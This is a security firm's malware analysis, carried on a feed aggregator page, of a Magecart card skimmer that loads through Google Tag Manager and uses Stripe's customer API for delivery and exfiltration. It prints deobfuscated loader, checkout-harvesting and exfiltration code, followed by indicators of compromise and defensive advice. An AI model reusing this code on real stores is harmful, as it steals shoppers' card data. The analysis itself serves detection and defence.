惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

D
Docker
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
C
Cisco Blogs
Scott Helme
Scott Helme
Know Your Adversary
Know Your Adversary
NISL@THU
NISL@THU
C
Cyber Attacks, Cyber Crime and Cyber Security
D
Darknet – Hacking Tools, Hacker News & Cyber Security
C
CXSECURITY Database RSS Feed - CXSecurity.com
S
Schneier on Security
I
Intezer
Spread Privacy
Spread Privacy
AWS News Blog
AWS News Blog
V
Vulnerabilities – Threatpost
Cloudbric
Cloudbric
V2EX - 技术
V2EX - 技术
Google Online Security Blog
Google Online Security Blog
L
Lohrmann on Cybersecurity
Recent Commits to openclaw:main
Recent Commits to openclaw:main
L
LINUX DO - 热门话题
S
Secure Thoughts
T
The Exploit Database - CXSecurity.com
博客园 - 【当耐特】
Recent Announcements
Recent Announcements
Security Archives - TechRepublic
Security Archives - TechRepublic
Stack Overflow Blog
Stack Overflow Blog
罗磊的独立博客
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
K
Kaspersky official blog
阮一峰的网络日志
阮一峰的网络日志
博客园_首页
Latest news
Latest news
B
Blog
F
Full Disclosure
大猫的无限游戏
大猫的无限游戏
博客园 - 叶小钗
L
LangChain Blog
GbyAI
GbyAI
Last Week in AI
Last Week in AI
S
Security Affairs
Apple Machine Learning Research
Apple Machine Learning Research
N
Netflix TechBlog - Medium
Security Latest
Security Latest
Vercel News
Vercel News
Y
Y Combinator Blog
G
GRAHAM CLULEY
S
Securelist
T
Troy Hunt's Blog
Hacker News - Newest:
Hacker News - Newest: "LLM"
雷峰网
雷峰网

Sansec - experts in eCommerce security

Sansec adds support for Sylius 1 & 2 Critical vulnerability in Mirasvit Cache Warmer for Magento Critical FunnelKit vulnerability threatens 40,000+ WooCommerce checkouts Composer vulnerability leaks GitHub tokens, threatens PHP supply chain Over 200 PrestaShop stores expose installer, allowing full takeover ClickFix malware hits DoD cybersecurity vendor homepage SVG Onload Tag Hides Magecart Skimmer on 99 Stores Mass PolyShell attack wave hits 471 stores in one hour Novel WebRTC skimmer bypasses security controls at $100+ billion car maker PolyShell: unrestricted file upload in Magento and Adobe Commerce Digital skimmer hits global supermarket chain Building a faster YARA engine in pure Go Magento Developers Impersonated in Targeted GitHub Malware Operation Claude finds 353 zero-days on Packagist The billion-dollar security.txt problem Keylogger targets 200,000+ employees at major US bank ConnectPOS leaked Github secrets for years Critical backdoor found in MGT Varnish extension SessionReaper attacks have started, 3 in 5 stores still vulnerable SessionReaper, unauthenticated RCE in Magento & Adobe Commerce (CVE-2025-54236) Adobe patches critical Magento admin takeover via menu injection Backdoor found in popular ecommerce components Found defunct.dat on your site? You've got a problem. You have 2 weeks left to set up CSP for your store Merchants left guessing at last-minute PCI-DSS u-turn Magento Security Release APSB25-08 [Impact Analysis] Sorry, client-side security does not work Google services abused in skimming campaigns Thousands of Adobe Commerce stores hacked in competing CosmicSting campaigns CosmicSting attack & defense overview Persistent backdoors injected on Adobe Commerce via new CosmicSting attack CosmicSting attacks have started hitting major stores Polyfill supply chain attack hits 100K+ sites CosmicSting attack threatens 75% of Adobe Commerce stores Persistent Magento backdoor hidden in XML Sansec joins forces with Google's VirusTotal Sansec and Europol counter online skimming Magento wish list exploit bypasses WAF protection Is your store’s newsletter being used for phishing? Malware Persistence via Telegram and GitHub Postponed Exfiltration Evades Detection Sansec analysis: 12% of online stores leak private backups Vendors defeat Magento security patch (+ simple check) Fake Klaviyo accounts added to Magento Adobe Commerce merchants to be hit with TrojanOrders this season Extortion of Magento merchants Surge in Magento 2 template attacks Magento vendor Fishpig hacked, backdoors added Magento 2 critical vulnerability (CVE-2022-24086 & CVE-2022-24087) NaturalFreshMall: a Magento Mass Hack Magento and the Log4j vulnerability NginRAT parasite targets Nginx CronRAT malware hides behind February 31st New linux_avp malware hits eCommerce sites Case Study: How eCommerce Hackers Silently Steal Credit Card Data Google Apps Script used to steal data Fake payment page before checkout on Shopify and BigCommerce eCommerce trojan accidentally leaks victims Hackers exploit security flaw right before Black Friday Payment skimmer hides in social media buttons Cardbleed: 3% of Magento install base hacked North Korean hackers are skimming US and European shoppers Digital skimmer runs entirely on Google, defeats CSP Lockdown: Stores closed, online stores hacked Do these two things to keep your Magento 1 store running after June Magento 1 still PCI compliant after 1 July 2020? Sansec reveals longest Magecart skimming operation to date [Analysis] Maxcluster and Sansec partner to secure German stores Indonesian Magecart hackers arrested Payment skimmers have impersonated Sansec American Cancer Society hit by payment skimmer Magento security extentions vendor got hacked FBI recommends eCommerce malware protection Sansec at Europol training: 50,000+ stores hacked PCI-SSC/RHISAC quote Sansec: 20% stores reinfected Critical Magento 2 flaw exploited within 16 hours 57 payment gateways from Germany to Brazil targeted Sports brand Puma infected with advanced malware Credit cards of Atlanta Hawks fans stolen Bad extensions now main source of Magento hacks: a solution! Large sites hacked via Adminer database tool PHP tool 'Adminer' leaks passwords Competing digital skimmers sabotage each other Merchants struggle with MageCart reinfections Backdoor found in Webgility Unpublished security flaws (0days) massively exploited German political party store hacked before election MageCart: now with tripwire ABS-CBN next in series of high profile breaches Is your Google Analytics code malicious? MagentoCore group hacks 7,339 stores and counting Hackers breached Magento through helpdesk Cryptojacking found on 2496 online stores Why ordering HTTP headers is important Warning: fake Magento patch 9789 contains virus A Magento breach analysis: part 1 An OpenCart/Magento hacking dashboard Self-healing malware restores itself after deletion Visbot malware found on 6691 stores [analysis] Criminals have rewired 3,500 online stores
Magecart skimmer turns Stripe into a malware command server
Sansec Forensics Team · 2026-06-04 · via Sansec - experts in eCommerce security

The skimmer never loads from a domain the attacker controls. The loader, the payload, and the stolen cards all flow through two domains every store already trusts: Google Tag Manager and Stripe.

Both the payload and the stolen cards move through api.stripe.com. Stores allow that domain by default, so the skimmer slips past Content Security Policy rules and network filters that would otherwise flag traffic to an unknown skimmer domain.

The loaders are real Google Tag Manager containers (GTM-P6KZMF63 and others), planted as a custom tag and served straight from googletagmanager.com. Serving the loader from a Google domain helps it blend in next to a store's legitimate analytics tags.

How it works

The malware splits its work into three parts that run in this order:

  1. Code delivery: located within a real GTM container (GTM-P6KZMF63), the code executes on every page that loads it. On checkout pages it fetches the skimmer from Stripe customer metadata and runs it with new Function().
  2. Harvest: the skimmer hooks into the checkout button. On click, it grabs the card and billing fields, XOR-encodes them, and parks the blob in localStorage.
  3. Exfiltration: 1 second after each page load, then every 60 seconds, the loader reads that blob from localStorage and uploads it to the attacker's Stripe account as a fake customer.

The loader

Cleaned up, the delivery code is small. On checkout pages it pulls the skimmer from Stripe and runs it:

// on checkout pages, fetch the skimmer from Stripe and run it
if (location.href.indexOf("checkout") !== -1) {
    setTimeout(function () {
        getMetaString().then(function (code) {
            if (code) new Function(code)();  // arbitrary remote code execution
        });
    }, 2000);
}

// fetch the skimmer chunks from the attacker's Stripe customer metadata
function getMetaString() {
    return fetch("https://api.stripe.com/v1/customers/cus_TfFjAAZQNOYENR", {
        headers: { Authorization: "Bearer sk_test_51Shuxz4fAPbvfTkr[...]" }
    }).then(function (r) { return r.json(); })
      .then(function (r) {
          return Object.keys(r.metadata).map(function (k) { return r.metadata[k]; }).join("");
      });
}

On any checkout page, getMetaString() fetches a specific Stripe customer (cus_TfFjAAZQNOYENR) in the attacker's account and concatenates its metadata fields. The skimmer is too long for a single Stripe metadata value, so the attacker chops it into chunks stored across meta0, meta1, meta2 and so on.

The loader joins them and runs the result with new Function(). That is arbitrary remote code execution, with Stripe serving the command.

This design lets the attacker update the skimmer at any time by editing the Stripe metadata, with no need to touch the injected GTM tag or the victim store again.

Fetching that customer record returns the staged skimmer:

{
  "id": "cus_TfFjAAZQNOYENR",
  "object": "customer",
  "created": 1766594844,
  "email": "jennyrosen@stripe.com",
  "invoice_prefix": "WLUFUAQS",
  "name": "Jenny Rosen",
  "metadata": {
    "meta0": "var a0_0xa01889=a0_0x11c7;(function(_0x5819d6,_0xe324f9){var _0x3069e3=a0_0x11c7,_0x40b7fe=_0x5819d6();while(!![]){try{var _0x44265a=parseInt(...",
    "meta1": "...",
    "meta10": "..."
  }
}

The jennyrosen@stripe.com email and WLUFUAQS invoice prefix are leftovers from Stripe's own sample data, a sign the attacker built this customer record from a default template. The record was created on December 24, 2025, so this campaign has likely been running since at least late last year.

The skimmer harvests the checkout

Decoded and condensed, the harvester waits for the checkout button, then hooks its click:

// poll until the Magento checkout button exists, then hook its click
var poll = setInterval(function() {
  var btn = document.querySelectorAll(".action.primary.checkout:not(#top-cart-btn-checkout)");
  if (!btn.length) return;
  clearInterval(poll);
  btn[0].addEventListener("click", function() {
    // read each field by selector, "null" when absent, then pipe-join
    var grab = function(sel) {
      var el = document.querySelectorAll(sel);
      return el.length ? el[0].value : "null";
    };
    var out = [
      grab('input[autocomplete="cc-number"]'),
      grab('[name="payment[cc_exp_month]"]'),
      grab('[name="payment[cc_exp_year]"]'),
      grab('input[name="payment[cc_cid]"]'),
      // ...firstname, lastname, street[0], city, country_id, region_id,
      //    postcode, customer-email, telephone, [data-th='Grand Total']
    ].join("|");
    // store only when card number, expiry month/year and CVV are all present
    var f = out.split("|");
    if (f[0] !== "null" && f[1] !== "null" && f[2] !== "null" && f[3] !== "null") {
      // XOR each char against "EGAU3X9PAMJ8RYRNJSPV", hex-encode, then save
      localStorage.setItem("cus_customer_id", xorHex(out + "|CP"));
    }
  });
}, 1000);

The selectors (payment[cc_cid], payment[cc_exp_year], [name="street[0]"], [data-th='Grand Total']) are specific to Magento and Adobe Commerce checkout markup. The skimmer pipe-joins the full card (number, expiry, CVV), the complete billing address, contact details, and the order total.

It stores the data only when the four card fields are all present. Then it appends a |CP marker, XOR-encodes the string with the key EGAU3X9PAMJ8RYRNJSPV, and parks it in localStorage under cus_customer_id. The skimming code never uploads anything itself.

Exfiltration happens later

Uploading the stolen data is a separate job in the same loader, not part of the skimmer:

// run the exfiltration routine 1s after load, then every 60s
setTimeout(pdat, 1000);
var mtimer = setInterval(pdat, 60000);

// upload the stolen blob from localStorage as a fake Stripe customer
function pdat() {
    var blob = localStorage.getItem("cus_customer_id");
    if (!blob) return;
    clearInterval(mtimer);
    var half = Math.floor(blob.length / 2);  // split in half, crude obfuscation
    var body = "email=johndoe@gmail.com" +
        "&metadata[customer_id]=" + encodeURIComponent(blob.slice(0, half)) +
        "&metadata[device_id]=" + encodeURIComponent(blob.slice(half));
    fetch("https://api.stripe.com/v1/customers", {
        method: "POST",
        headers: { Authorization: "Bearer sk_test_51Shuxz4fAPbvfTkr[...]" },
        body: body
    }).then(function (r) {
        if (r.ok) localStorage.removeItem("cus_customer_id");
    });
}

It runs one second after each page load (setTimeout) and again every 60 seconds (mtimer). When pdat finds a blob in localStorage, it splits the value in half and POSTs it to Stripe's customer API.

Theft and upload are decoupled. The skimmer writes the card data to localStorage the moment the shopper submits checkout. The exfiltration routine then picks it up on the next page load, or when its 60-second timer fires, and ships it to Stripe.

Every stolen card becomes a "customer" in the attacker's account. The email is junk filler (johndoe@gmail.com), and the real data lands in metadata[customer_id] and metadata[device_id]. Splitting the value in half is crude obfuscation so the card data does not sit in one obvious field. On success, the loader deletes the localStorage entry, so the same record is not sent twice.

The attacker lists their stolen cards later by calling the same API with the same key. Stripe's customer database becomes a free, durable exfiltration sink.

A Stripe secret key in the browser

Each loader carries a hardcoded Stripe secret key:

Authorization: Bearer sk_test_51Shuxz4fAPbvfTkr...

No legitimate integration ever ships a Stripe secret key in client-side JavaScript. Secret keys belong on the server. Finding one in a browser script is by itself proof of compromise.

The keys use the sk_test_ prefix, so they run in Stripe test mode. The attacker treats Stripe as free infrastructure, not a way to launder charges. Stripe gives them a writable database for stolen cards and a code-hosting endpoint for the skimmer, both behind a domain that CSP rules and network filters trust by default.

The Firestore variant

A separate loader from the same family uses Google Firestore instead of Stripe. It reads stolen data from localStorage key _d_data_customer_ and pulls its payload from a Firestore document:

https://firestore.googleapis.com/v1/projects/braintree-payment-app/databases/(default)/documents/tracking/captcha?key=AIzaSyA3xkG_[...]

The braintree-payment-app project name and captcha document path are chosen to look like ordinary payment and bot-protection traffic. It is a different channel from the Stripe variant, but the same idea. Both abuse a mainstream cloud API as a covert channel that no store blocks.

Recommendations

  1. Block attacks: Deploy Sansec Shield to block Magento core vulnerability exploitation attempts in real time.
  2. Scan for compromise: Run eComscan to detect skimmers, backdoors, and unauthorized changes to your store.
  3. Audit your client-side scripts: Treat any sk_test_ or sk_live_ Stripe key, or any direct api.stripe.com and firestore.googleapis.com calls in browser JavaScript, as a compromise. Legitimate front-end code never carries a Stripe secret key.
  4. Watch your Tag Manager: GTM containers and "external script" settings are a common injection point. Review every tag you did not add yourself.

Indicators of compromise

# GTM container IDs
GTM-P6KZMF63
GTM-55976FLP
GTM-MSDHV3HG
GTM-TV4CSHVN

# stripe customer ID hosting the skimmer payload
cus_TfFjAAZQNOYENR

# exfiltration endpoints
https://api.stripe.com/v1/customers
https://firestore.googleapis.com/v1/projects/braintree-payment-app/databases/(default)/documents/tracking/captcha?key=AIzaSyA3xkG_[...]

# localStorage keys
cus_customer_id
_d_data_customer_

# XOR key
EGAU3X9PAMJ8RYRNJSPV

# filler email used in fake Stripe customer records
johndoe@gmail.com

Read more